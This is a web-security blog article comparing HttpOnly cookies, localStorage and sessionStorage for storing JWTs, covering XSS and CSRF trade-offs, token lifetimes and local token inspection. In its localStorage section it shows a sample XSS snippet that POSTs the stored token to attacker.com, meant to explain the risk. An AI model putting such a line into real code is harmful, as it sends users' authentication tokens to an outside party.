Where to Store JWT: Cookies vs LocalStorage vs SessionStorage
Compare cookies, localStorage, and sessionStorage for JWT storage. Learn the security trade-offs, best practices, and how to inspect JWTs safely.
Table of Contents
- JWT Storage Comparison
- Option 1: Store JWT in Cookies
- Advantages
- Disadvantages
- Example
- Option 2: Store JWT in localStorage
- Advantages
- Security Risks
- Option 3: Store JWT in sessionStorage
- Advantages
- Disadvantages
- Cookies vs localStorage vs sessionStorage
- Which JWT Storage Should You Choose?
- Use Cookies when
- Use localStorage when
- Use sessionStorage when
- Best Practice Architecture
- Inspect JWTs Safely
- Common Mistakes
- Storing refresh tokens in localStorage
- Long-lived JWTs
- Ignoring XSS
- FAQs
- Is localStorage insecure?
- Are HttpOnly cookies completely secure?
- Should I store refresh tokens in cookies?
- Should SPAs always use cookies?
- Can I decode a JWT without verifying it?
- Final Recommendation
Storing a JWT is usually harder than generating one.
A perfectly signed token doesn’t help if an attacker can steal it through XSS or force a browser to send it through CSRF. Choosing between Cookies, localStorage, and sessionStorage directly affects your application’s security model.
Here’s the short answer:
| Storage | Persistent | Accessible via JavaScript | XSS Risk | CSRF Risk | Recommended |
|---|---|---|---|---|---|
| HttpOnly Cookie | ✅ Yes | ❌ No | Low | Medium (mitigate with SameSite & CSRF tokens) | ⭐ Best for production |
| localStorage | ✅ Yes | ✅ Yes | High | None | Good only for low-risk apps |
| sessionStorage | ❌ Until tab closes | ✅ Yes | High | None | Better than localStorage for temporary sessions |
JWT Storage Comparison
// localStorage
localStorage.setItem("token", jwt);
// sessionStorage
sessionStorage.setItem("token", jwt);
// Cookie (typically set by the backend)
Set-Cookie:
access_token=JWT;
HttpOnly;
Secure;
SameSite=Lax;
Option 1: Store JWT in Cookies
HttpOnly cookies are the safest place to store authentication tokens for most web applications.
Because JavaScript cannot read an HttpOnly cookie, an XSS attack cannot simply execute:
document.cookie;
to steal your access token.
Advantages
- Protected from JavaScript access
- Works naturally with browser authentication
- Supported by all modern browsers
- Recommended by most security experts
Disadvantages
Cookies are automatically attached to requests.
That introduces CSRF (Cross-Site Request Forgery) risks unless you configure:
SameSite=LaxSameSite=Strict- CSRF tokens
- Origin validation
Example
Set-Cookie:
access_token=eyJhbGciOi...
HttpOnly
Secure
SameSite=Lax
For production applications, this is usually the preferred approach.
Option 2: Store JWT in localStorage
Many frontend tutorials store tokens in localStorage because it’s simple. MDN’s localStorage reference explains how it persists across sessions.
localStorage.setItem('token', jwt);
const token = localStorage.getItem('token');
The token survives:
- Browser refresh
- Browser restart
- New tabs
This improves user experience.
Advantages
- Very easy to implement
- Persistent storage
- Works well with SPAs
- No automatic CSRF exposure
Security Risks
Everything stored in localStorage is readable by JavaScript.
If your application has an XSS vulnerability:
fetch('https://attacker.com', {
method: 'POST',
body: localStorage.getItem('token'),
});
The attacker now owns your authentication token.
This is why localStorage is generally not recommended for highly sensitive authentication.
Option 3: Store JWT in sessionStorage
sessionStorage behaves similarly to localStorage. Unlike cookies, which are described in MDN’s guide to HTTP cookies, sessionStorage is bound to a single tab.
sessionStorage.setItem('token', jwt);
The major difference:
- Data disappears when the browser tab closes.
Advantages
- Automatically cleared after session ends
- Simple API
- No persistence after closing the tab
Disadvantages
Like localStorage, sessionStorage is fully accessible through JavaScript.
That means XSS attacks can still steal tokens.
Cookies vs localStorage vs sessionStorage
| Feature | Cookies | localStorage | sessionStorage |
|---|---|---|---|
| Persistent | Yes | Yes | No |
| JavaScript Access | Optional (HttpOnly = No) | Yes | Yes |
| XSS Protection | High | Low | Low |
| CSRF Protection Needed | Yes | No | No |
| Best for Authentication | ✅ Yes | ⚠ Sometimes | ⚠ Rarely |
Which JWT Storage Should You Choose?
Use Cookies when
- Building production SaaS applications
- Handling payments
- Healthcare systems
- Banking
- Enterprise software
Use localStorage when
- Building demos
- Learning authentication
- Internal dashboards
- Low-risk applications
Use sessionStorage when
- Temporary authentication
- Kiosk systems
- Shared computers
- Multi-tab isolation is acceptable
Best Practice Architecture
A common production approach is:
- Store Refresh Token inside an HttpOnly Secure Cookie
- Keep Access Token short-lived
- Rotate refresh tokens regularly
- Use HTTPS everywhere
- Enable
SameSite=LaxorStrict - Implement CSRF protection
This balances usability and security while reducing the impact of token theft.
Inspect JWTs Safely
Whether you’re debugging authentication issues or checking claims like exp, iat, aud, or iss, avoid pasting tokens into tools that upload data to remote servers.
jwt.io’s debugger, for example, decodes JWTs entirely inside your browser. No token data is sent to a backend, making it useful when working with sensitive authentication payloads. It can inspect:
- Header
- Payload
- Expiration time
- Claims
- Signature structure
If you’re debugging API responses, your browser devtools or the jq CLI are useful for reading formatted JSON payloads, while the command-line base64 utility helps understand Base64-encoded data often encountered in authentication workflows. These options run locally for improved privacy.
Common Mistakes
Storing refresh tokens in localStorage
Refresh tokens usually have a much longer lifetime than access tokens. If an attacker steals one, they can often generate new access tokens for an extended period.
Long-lived JWTs
Access tokens should expire quickly.
Typical expiration:
- 5 minutes
- 15 minutes
- 30 minutes
Not:
- 30 days
- 90 days
- Never
Ignoring XSS
Even the strongest JWT signing algorithm cannot protect a token that’s already been stolen through client-side JavaScript.
FAQs
Is localStorage insecure?
Not inherently. The biggest concern is that any successful XSS attack can read its contents.
Are HttpOnly cookies completely secure?
No. They reduce XSS risk but still require CSRF protections and secure cookie attributes.
Should I store refresh tokens in cookies?
Yes. Production systems commonly store refresh tokens in HttpOnly, Secure cookies.
Should SPAs always use cookies?
Modern SPAs increasingly use HttpOnly cookies because browsers now provide strong protections like SameSite.
Can I decode a JWT without verifying it?
Yes. Decoding simply reads the Base64-encoded header and payload. It does not verify the signature or confirm the token is trustworthy.
Final Recommendation
For most production applications:
- ✅ Store authentication tokens in HttpOnly Secure Cookies
- ✅ Enable
SameSite - ✅ Protect against CSRF
- ✅ Keep access tokens short-lived
- ✅ Rotate refresh tokens
For debugging JWTs and API payloads during development, local utilities like jwt.io’s debugger, your browser devtools, and the jq CLI let you inspect token claims and payloads without sending sensitive data to external services.

Lucky Yaduvanshi
Computer Science Student & Creator of CodAI. Passionate about 100% offline local AI software tools.